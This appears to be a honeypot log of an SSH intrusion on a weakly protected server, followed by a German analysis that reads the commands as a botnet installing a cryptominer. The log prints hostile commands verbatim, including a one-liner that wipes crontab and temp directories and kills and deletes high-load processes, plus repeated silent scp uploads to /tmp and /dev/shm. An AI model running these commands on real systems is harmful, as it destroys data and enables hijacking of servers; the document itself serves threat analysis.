10.10.2026, 04:59 UTC · 51 Befehle · über ssh · Niederlande
user='cs209' pass='Admin' cs209@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 cs209@srv01:~$ uname -m | awk '{printf $1}' x86_64 cs209@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' up 8 days, 03:45 cs209@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v5/E3-1200 v6 | 3rd Generation Core (Intel 4th Gen) Integrated Graphics Controller (rev 06) cs209@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2620 v4 @ 2.10GHz cs209@srv01:~$ curl ipinfo.io/org AS140612 cs209@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found cs209@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found cs209@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 cs209@srv01:~$ uname -n | awk '{printf $1}' web02 cs209@srv01:~$ uname -r | awk '{printf $1}' 4.15.0-213-generic cs209@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: pidof: command not found bash: pkill: command not found cs209@srv01:~$ echo Admin > /tmp/d.log cs209@srv01:~$ scp -qt "/var/tmp/cwegYOMp" cs209@srv01:~$ scp -qt "/tmp/cwegYOMp" cs209@srv01:~$ scp -qt "/dev/shm/cwegYOMp" cs209@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 cs209@srv01:~$ echo ABCabc123456. > /tmp/d.log cs209@srv01:~$ scp -qt "/var/tmp/xUViDDPk" cs209@srv01:~$ scp -qt "/tmp/xUViDDPk" cs209@srv01:~$ scp -qt "/dev/shm/xUViDDPk" cs209@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 cs209@srv01:~$ echo guest > /tmp/d.log cs209@srv01:~$ scp -qt "/var/tmp/wCZlJRos" cs209@srv01:~$ scp -qt "/tmp/wCZlJRos" cs209@srv01:~$ scp -qt "/dev/shm/wCZlJRos" cs209@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 cs209@srv01:~$ echo user > /tmp/d.log cs209@srv01:~$ scp -qt "/var/tmp/MaQEkxqT" cs209@srv01:~$ scp -qt "/tmp/MaQEkxqT" cs209@srv01:~$ scp -qt "/dev/shm/MaQEkxqT" cs209@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 cs209@srv01:~$ echo 12345 > /tmp/d.log cs209@srv01:~$ scp -qt "/var/tmp/yxkgioWW" cs209@srv01:~$ scp -qt "/tmp/yxkgioWW" cs209@srv01:~$ scp -qt "/dev/shm/yxkgioWW" cs209@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 cs209@srv01:~$ echo system > /tmp/d.log cs209@srv01:~$ scp -qt "/var/tmp/axhhZGFE"
Der Angreifer meldete sich mit schwachen Zugangsdaten per SSH an und führte eine Reihe von Systemabfragen durch, um Hardware und Netzwerk zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU oder RAM Auslastung, um Ressourcen freizumachen. Danach versuchte er mehrfach, Dateien über SCP in verschiedene temporäre Verzeichnisse zu kopieren, wobei er unterschiedliche Benutzernamen testete.
Die Befehle uname, lscpu und lspci sammeln Informationen über das Betriebssystem, die CPU und die Grafikkarte, um die Mining Eignung zu prüfen. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Daten entfernt, um Spuren zu verwischen. Die awk und kill Befehle identifizieren und beenden Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent RAM nutzen, um die Last zu reduzieren. Die scp -qt Befehle kopieren Dateien im stillen Modus in temporäre Speicherorte, was typisch für die Übertragung von Binärdateien ist.
Das Vorgehen deutet stark auf die Installation eines Kryptominers hin, da die Abfragen gezielt nach Grafikkarten (NVIDIA, Radeon) und CPU Modellen suchten. Das Beenden ressourcenintensiver Prozesse dient dazu, Rechenleistung für den Miner zu sichern. Der wiederholte SCP Transfer in versteckte Verzeichnisse wie /dev/shm dient dem Hochladen der Schadsoftware.
Dieses Muster ist sehr verbreitet und folgt einem automatisierten Skript, das häufig von Botnetzen zur Massenausbeutung kompromittierter Server genutzt wird.